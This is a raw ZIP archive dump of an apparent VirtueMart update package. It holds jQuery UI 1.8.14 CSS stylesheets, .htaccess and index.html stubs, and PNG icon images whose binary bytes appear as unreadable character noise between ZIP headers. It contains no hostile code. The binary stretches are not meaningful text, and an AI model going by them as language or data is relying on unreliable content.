background-position: -192px -112px; } .ui-icon-heart { background-position: -208px -112px; } .ui-icon-star { background-position: -224px -112px; } .ui-icon-link { background-position: -240px -112px; } .ui-icon-cancel { background-position: 0 -128px; } .ui-icon-plus { background-position: -16px -128px; } .ui-icon-plusthick { background-position: -32px -128px; } .ui-icon-minus { background-position: -48px -128px; } .ui-icon-minusthick { background-position: -64px -128px; } .ui-icon-close { background-position: -80px -128px; } .ui-icon-closethick { background-position: -96px -128px; } .ui-icon-key { background-position: -112px -128px; } .ui-icon-lightbulb { background-position: -128px -128px; } .ui-icon-scissors { background-position: -144px -128px; } .ui-icon-clipboard { background-position: -160px -128px; } .ui-icon-copy { background-position: -176px -128px; } .ui-icon-contact { background-position: -192px -128px; } .ui-icon-image { background-position: -208px -128px; } .ui-icon-video { background-position: -224px -128px; } .ui-icon-script { background-position: -240px -128px; } .ui-icon-alert { background-position: 0 -144px; } .ui-icon-info { background-position: -16px -144px; } .ui-icon-notice { background-position: -32px -144px; } .ui-icon-help { background-position: -48px -144px; } .ui-icon-check { background-position: -64px -144px; } .ui-icon-bullet { background-position: -80px -144px; } .ui-icon-radio-off { background-position: -96px -144px; } .ui-icon-radio-on { background-position: -112px -144px; } .ui-icon-pin-w { background-position: -128px -144px; } .ui-icon-pin-s { background-position: -144px -144px; } .ui-icon-play { background-position: 0 -160px; } .ui-icon-pause { background-position: -16px -160px; } .ui-icon-seek-next { background-position: -32px -160px; } .ui-icon-seek-prev { background-position: -48px -160px; } .ui-icon-seek-end { background-position: -64px -160px; } .ui-icon-seek-start { background-position: -80px -160px; } /* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */ .ui-icon-seek-first { background-position: -80px -160px; } .ui-icon-stop { background-position: -96px -160px; } .ui-icon-eject { background-position: -112px -160px; } .ui-icon-volume-off { background-position: -128px -160px; } .ui-icon-volume-on { background-position: -144px -160px; } .ui-icon-power { background-position: 0 -176px; } .ui-icon-signal-diag { background-position: -16px -176px; } .ui-icon-signal { background-position: -32px -176px; } .ui-icon-battery-0 { background-position: -48px -176px; } .ui-icon-battery-1 { background-position: -64px -176px; } .ui-icon-battery-2 { background-position: -80px -176px; } .ui-icon-battery-3 { background-position: -96px -176px; } .ui-icon-circle-plus { background-position: 0 -192px; } .ui-icon-circle-minus { background-position: -16px -192px; } .ui-icon-circle-close { background-position: -32px -192px; } .ui-icon-circle-triangle-e { background-position: -48px -192px; } .ui-icon-circle-triangle-s { background-position: -64px -192px; } .ui-icon-circle-triangle-w { background-position: -80px -192px; } .ui-icon-circle-triangle-n { background-position: -96px -192px; } .ui-icon-circle-arrow-e { background-position: -112px -192px; } .ui-icon-circle-arrow-s { background-position: -128px -192px; } .ui-icon-circle-arrow-w { background-position: -144px -192px; } .ui-icon-circle-arrow-n { background-position: -160px -192px; } .ui-icon-circle-zoomin { background-position: -176px -192px; } .ui-icon-circle-zoomout { background-position: -192px -192px; } .ui-icon-circle-check { background-position: -208px -192px; } .ui-icon-circlesmall-plus { background-position: 0 -208px; } .ui-icon-circlesmall-minus { background-position: -16px -208px; } .ui-icon-circlesmall-close { background-position: -32px -208px; } .ui-icon-squaresmall-plus { background-position: -48px -208px; } .ui-icon-squaresmall-minus { background-position: -64px -208px; } .ui-icon-squaresmall-close { background-position: -80px -208px; } .ui-icon-grip-dotted-vertical { background-position: 0 -224px; } .ui-icon-grip-dotted-horizontal { background-position: -16px -224px; } .ui-icon-grip-solid-vertical { background-position: -32px -224px; } .ui-icon-grip-solid-horizontal { background-position: -48px -224px; } .ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; } .ui-icon-grip-diagonal-se { background-position: -80px -224px; } /* Misc visuals ----------------------------------*/ /* Corner radius */ .ui-corner-all, .ui-corner-top, .ui-corner-left, .ui-corner-tl { -moz-border-radius-topleft: 4px/*{cornerRadius}*/; -webkit-border-top-left-radius: 4px/*{cornerRadius}*/; -khtml-border-top-left-radius: 4px/*{cornerRadius}*/; border-top-left-radius: 4px/*{cornerRadius}*/; } .ui-corner-all, .ui-corner-top, .ui-corner-right, .ui-corner-tr { -moz-border-radius-topright: 4px/*{cornerRadius}*/; -webkit-border-top-right-radius: 4px/*{cornerRadius}*/; -khtml-border-top-right-radius: 4px/*{cornerRadius}*/; border-top-right-radius: 4px/*{cornerRadius}*/; } .ui-corner-all, .ui-corner-bottom, .ui-corner-left, .ui-corner-bl { -moz-border-radius-bottomleft: 4px/*{cornerRadius}*/; -webkit-border-bottom-left-radius: 4px/*{cornerRadius}*/; -khtml-border-bottom-left-radius: 4px/*{cornerRadius}*/; border-bottom-left-radius: 4px/*{cornerRadius}*/; } .ui-corner-all, .ui-corner-bottom, .ui-corner-right, .ui-corner-br { -moz-border-radius-bottomright: 4px/*{cornerRadius}*/; -webkit-border-bottom-right-radius: 4px/*{cornerRadius}*/; -khtml-border-bottom-right-radius: 4px/*{cornerRadius}*/; border-bottom-right-radius: 4px/*{cornerRadius}*/; } /* Overlays */ .ui-widget-overlay { background: #aaaaaa/*{bgColorOverlay}*/ url(images/ui-bg_flat_0_aaaaaa_40x100.png)/*{bgImgUrlOverlay}*/ 50%/*{bgOverlayXPos}*/ 50%/*{bgOverlayYPos}*/ repeat-x/*{bgOverlayRepeat}*/; opacity: .3;filter:Alpha(Opacity=30)/*{opacityOverlay}*/; } .ui-widget-shadow { margin: -8px/*{offsetTopShadow}*/ 0 0 -8px/*{offsetLeftShadow}*/; padding: 8px/*{thicknessShadow}*/; background: #aaaaaa/*{bgColorShadow}*/ url(images/ui-bg_flat_0_aaaaaa_40x100.png)/*{bgImgUrlShadow}*/ 50%/*{bgShadowXPos}*/ 50%/*{bgShadowYPos}*/ repeat-x/*{bgShadowRepeat}*/; opacity: .3;filter:Alpha(Opacity=30)/*{opacityShadow}*/; -moz-border-radius: 8px/*{cornerRadiusShadow}*/; -khtml-border-radius: 8px/*{cornerRadiusShadow}*/; -webkit-border-radius: 8px/*{cornerRadiusShadow}*/; border-radius: 8px/*{cornerRadiusShadow}*/; }PKtl>\Hcom_virtuemart_update/components/com_virtuemart/assets/css/ui/index.htmlnuW+APKtl>\MPcom_virtuemart_update/components/com_virtuemart/assets/css/ui/jquery.ui.core.cssnuW+A/* * jQuery UI CSS Framework 1.8.14 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Theming/API */ /* Layout helpers ----------------------------------*/ .ui-helper-hidden { display: none; } .ui-helper-hidden-accessible { position: absolute !important; clip: rect(1px 1px 1px 1px); clip: rect(1px,1px,1px,1px); } .ui-helper-reset { margin: 0; padding: 0; border: 0; outline: 0; line-height: 1.3; text-decoration: none; font-size: 100%; list-style: none; } .ui-helper-clearfix:after { content: "."; display: block; height: 0; clear: both; visibility: hidden; } .ui-helper-clearfix { display: inline-block; } /* required comment for clearfix to work in Opera \*/ * html .ui-helper-clearfix { height:1%; } .ui-helper-clearfix { display:block; } /* end clearfix */ .ui-helper-zfix { width: 100%; height: 100%; top: 0; left: 0; position: absolute; opacity: 0; filter:Alpha(Opacity=0); } /* Interaction Cues ----------------------------------*/ .ui-state-disabled { cursor: default !important; } /* Icons ----------------------------------*/ /* states and images */ .ui-icon { display: block; text-indent: -99999px; overflow: hidden; background-repeat: no-repeat; } /* Misc visuals ----------------------------------*/ /* Overlays */ .ui-widget-overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } PKtl>\ޑn`com_virtuemart_update/components/com_virtuemart/assets/css/ui/images/ui-icons_454545_256x240.pngnuW+APNG  IHDRIJPLTEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEڲNtRNS2P."Tp@f` <BHJZ&0R,4j8D|($ blߝF>n~hhHIDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;PZsVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ JҸٻ9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}Q3.Nس})>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }i`;ADm8n:cfA@s7L Z/..h8or? N93B~o_'`opO- :TG L;7]`B%˛>*wTpM0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(rۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6GFZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5av]m1+3y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m=i0ci9}oI qT]W%.(؅]z\x f"]o'u䫵tk{v;AC3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L0 QiH2;yTOok;ע ٶ`RNg{zy!Kxm?A(vU~mL(`o/!nmX-{v[ dw=n「sdwzn(}Oy~ m ?XU;,V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s\ewwdcom_virtuemart_update/components/com_virtuemart/assets/css/ui/images/ui-bg_glass_95_fef1ec_1x400.pngnuW+APNG  IHDRoX >IDAT81 0Cџ $CB}1@)e_ƅ`I8-%cM0 )" LIENDB`PKtl>\ۇoodcom_virtuemart_update/components/com_virtuemart/assets/css/ui/images/ui-bg_glass_75_dadada_1x400.pngnuW+APNG  IHDRoX 6IDAT8cx&Qb%-7(`bbBf!؈(1Jc ܠIENDB`PKtl>\``com_virtuemart_update/components/com_virtuemart/assets/css/ui/images/ui-icons_2e83ff_256x240.pngnuW+APNG  IHDRIJPLTE...............................................................................%̘NtRNS2P."Tp@f` <BHJZ&0R,4j8D|($ blߝF>n~hhHIDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;PZsVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ JҸٻ9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}Q3.Nس})>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }i`;ADm8n:cfA@s7L Z/..h8or? N93B~o_'`opO- :TG L;7]`B%˛>*wTpM0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(rۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6GFZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5av]m1+3y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m=i0ci9}oI qT]W%.(؅]z\x f"]o'u䫵tk{v;AC3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L0 QiH2;yTOok;ע ٶ`RNg{zy!Kxm?A(vU~mL(`o/!nmX-{v[ dw=n「sdwzn(}Oy~ m ?XU;,V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s\,XIeemcom_virtuemart_update/components/com_virtuemart/assets/css/ui/images/ui-bg_highlight-soft_75_cccccc_1x100.pngnuW+APNG  IHDRdG,Z`,IDATcx&!DJqш/Cc ;:*COIENDB`PKtl>\)Ncom_virtuemart_update/components/com_virtuemart/assets/css/ui/images/.htaccessnuW+A Order allow,deny Deny from all PKtl>\iidcom_virtuemart_update/components/com_virtuemart/assets/css/ui/images/ui-bg_glass_65_ffffff_1x400.pngnuW+APNG  IHDRoX 0IDAT8! + ̼JHR)[lk=O_(<` H"IENDB`PKtl>\;\xxdcom_virtuemart_update/components/com_virtuemart/assets/css/ui/images/ui-bg_glass_55_fbf9ee_1x400.pngnuW+APNG  IHDRoX ?IDAT81 0Bѯl`6Cs<]:[&BA e7lQJŜQY*IENDB`PKtl>\p.`com_virtuemart_update/components/com_virtuemart/assets/css/ui/images/ui-icons_cd0a0a_256x240.pngnuW+APNG  IHDRIJPLTE 7NtRNS2P."Tp@f` <BHJZ&0R,4j8D|($ blߝF>n~hhHIDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;PZsVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ JҸٻ9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}Q3.Nس})>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }i`;ADm8n:cfA@s7L Z/..h8or? N93B~o_'`opO- :TG L;7]`B%˛>*wTpM0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(rۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6GFZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5av]m1+3y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m=i0ci9}oI qT]W%.(؅]z\x f"]o'u䫵tk{v;AC3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L0 QiH2;yTOok;ע ٶ`RNg{zy!Kxm?A(vU~mL(`o/!nmX-{v[ dw=n「sdwzn(}Oy~ m ?XU;,V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s\Tx`com_virtuemart_update/components/com_virtuemart/assets/css/ui/images/ui-icons_222222_256x240.pngnuW+APNG  IHDRIJPLTE"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""]NtRNS2P."Tp@f` <BHJZ&0R,4j8D|($ blߝF>n~hhHIDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;PZsVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ JҸٻ9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}Q3.Nس})>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }i`;ADm8n:cfA@s7L Z/..h8or? N93B~o_'`opO- :TG L;7]`B%˛>*wTpM0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(rۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6GFZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5av]m1+3y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m=i0ci9}oI qT]W%.(؅]z\x f"]o'u䫵tk{v;AC3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L0 QiH2;yTOok;ע ٶ`RNg{zy!Kxm?A(vU~mL(`o/!nmX-{v[ dw=n「sdwzn(}Oy~ m ?XU;,V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s\Ocom_virtuemart_update/components/com_virtuemart/assets/css/ui/images/index.htmlnuW+APKtl>\-nnndcom_virtuemart_update/components/com_virtuemart/assets/css/ui/images/ui-bg_glass_75_e6e6e6_1x400.pngnuW+APNG  IHDRoX 5IDAT81 yUXHa@[{UUu@7 DFIENDB`PKtl>\`com_virtuemart_update/components/com_virtuemart/assets/css/ui/images/ui-icons_888888_256x240.pngnuW+APNG  IHDRIJPLTE{NtRNS2P."Tp@f` <BHJZ&0R,4j8D|($ blߝF>n~hhHIDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;PZsVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ JҸٻ9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}Q3.Nس})>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }i`;ADm8n:cfA@s7L Z/..h8or? N93B~o_'`opO- :TG L;7]`B%˛>*wTpM0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(rۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6GFZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5av]m1+3y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m=i0ci9}oI qT]W%.(؅]z\x f"]o'u䫵tk{v;AC3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L0 QiH2;yTOok;ע ٶ`RNg{zy!Kxm?A(vU~mL(`o/!nmX-{v[ dw=n「sdwzn(}Oy~ m ?XU;,V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s\dʹccom_virtuemart_update/components/com_virtuemart/assets/css/ui/images/ui-bg_flat_0_aaaaaa_40x100.pngnuW+APNG  IHDR(ddrz{IDATh1 17Y$t3;_TUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTüŝc)IENDB`PKtl>\Yodcom_virtuemart_update/components/com_virtuemart/assets/css/ui/images/ui-bg_flat_75_ffffff_40x100.pngnuW+APNG  IHDR(ddrzyIDATh1 R 7(ȚV`%X V`%X V`%X V`%X V`%X V`%X V`%X V`%X V`%X V`%X V`%X V`%X Vj)2NIENDB`PKtl>\ Vcom_virtuemart_update/components/com_virtuemart/assets/css/ui/jquery.ui.datepicker.cssnuW+A/* * jQuery UI Datepicker 1.8.14 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Datepicker#theming */ .ui-datepicker { width: 17em; padding: .2em .2em 0; display: none; } .ui-datepicker .ui-datepicker-header { position:relative; padding:.2em 0; } .ui-datepicker .ui-datepicker-prev, .ui-datepicker .ui-datepicker-next { position:absolute; top: 2px; width: 1.8em; height: 1.8em; } .ui-datepicker .ui-datepicker-prev-hover, .ui-datepicker .ui-datepicker-next-hover { top: 1px; } .ui-datepicker .ui-datepicker-prev { left:2px; } .ui-datepicker .ui-datepicker-next { right:2px; } .ui-datepicker .ui-datepicker-prev-hover { left:1px; } .ui-datepicker .ui-datepicker-next-hover { right:1px; } .ui-datepicker .ui-datepicker-prev span, .ui-datepicker .ui-datepicker-next span { display: block; position: absolute; left: 50%; margin-left: -8px; top: 50%; margin-top: -8px; } .ui-datepicker .ui-datepicker-title { margin: 0 2.3em; line-height: 1.8em; text-align: center; } .ui-datepicker .ui-datepicker-title select { font-size:1em; margin:1px 0; } .ui-datepicker select.ui-datepicker-month-year {width: 100%;} .ui-datepicker select.ui-datepicker-month, .ui-datepicker select.ui-datepicker-year { width: 49%;} .ui-datepicker table {width: 100%; font-size: .9em; border-collapse: collapse; margin:0 0 .4em; } .ui-datepicker th { padding: .7em .3em; text-align: center; font-weight: bold; border: 0; } .ui-datepicker td { border: 0; padding: 1px; } .ui-datepicker td span, .ui-datepicker td a { display: block; padding: .2em; text-align: right; text-decoration: none; } .ui-datepicker .ui-datepicker-buttonpane { background-image: none; margin: .7em 0 0 0; padding:0 .2em; border-left: 0; border-right: 0; border-bottom: 0; } .ui-datepicker .ui-datepicker-buttonpane button { float: right; margin: .5em .2em .4em; cursor: pointer; padding: .2em .6em .3em .6em; width:auto; overflow:visible; } .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current { float:left; } /* with multiple calendars */ .ui-datepicker.ui-datepicker-multi { width:auto; } .ui-datepicker-multi .ui-datepicker-group { float:left; } .ui-datepicker-multi .ui-datepicker-group table { width:95%; margin:0 auto .4em; } .ui-datepicker-multi-2 .ui-datepicker-group { width:50%; } .ui-datepicker-multi-3 .ui-datepicker-group { width:33.3%; } .ui-datepicker-multi-4 .ui-datepicker-group { width:25%; } .ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header { border-left-width:0; } .ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header { border-left-width:0; } .ui-datepicker-multi .ui-datepicker-buttonpane { clear:left; } .ui-datepicker-row-break { clear:both; width:100%; font-size:0em; } /* RTL support */ .ui-datepicker-rtl { direction: rtl; } .ui-datepicker-rtl .ui-datepicker-prev { right: 2px; left: auto; } .ui-datepicker-rtl .ui-datepicker-next { left: 2px; right: auto; } .ui-datepicker-rtl .ui-datepicker-prev:hover { right: 1px; left: auto; } .ui-datepicker-rtl .ui-datepicker-next:hover { left: 1px; right: auto; } .ui-datepicker-rtl .ui-datepicker-buttonpane { clear:right; } .ui-datepicker-rtl .ui-datepicker-buttonpane button { float: left; } .ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current { float:right; } .ui-datepicker-rtl .ui-datepicker-group { float:right; } .ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header { border-right-width:0; border-left-width:1px; } .ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header { border-right-width:0; border-left-width:1px; } /* IE6 IFRAME FIX (taken from datepicker 1.5.3 */ .ui-datepicker-cover { display: none; /*sorry for IE5*/ display/**/: block; /*sorry for IE5*/ position: absolute; /*must have*/ z-index: -1; /*must have*/ filter: mask(); /*must have*/ top: -4px; /*must have*/ left: -4px; /*must have*/ width: 200px; /*must have*/ height: 200px; /*must have*/ }PKtl>\qB##Ocom_virtuemart_update/components/com_virtuemart/assets/css/ui/jquery.ui.all.cssnuW+A/* * jQuery UI CSS Framework 1.8.14 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Theming */ @import "jquery.ui.base.css"; @import "jquery.ui.theme.css"; PKtl>\BKKPcom_virtuemart_update/components/com_virtuemart/assets/css/ui/jquery.ui.base.cssnuW+A@import url("jquery.ui.core.css"); @import 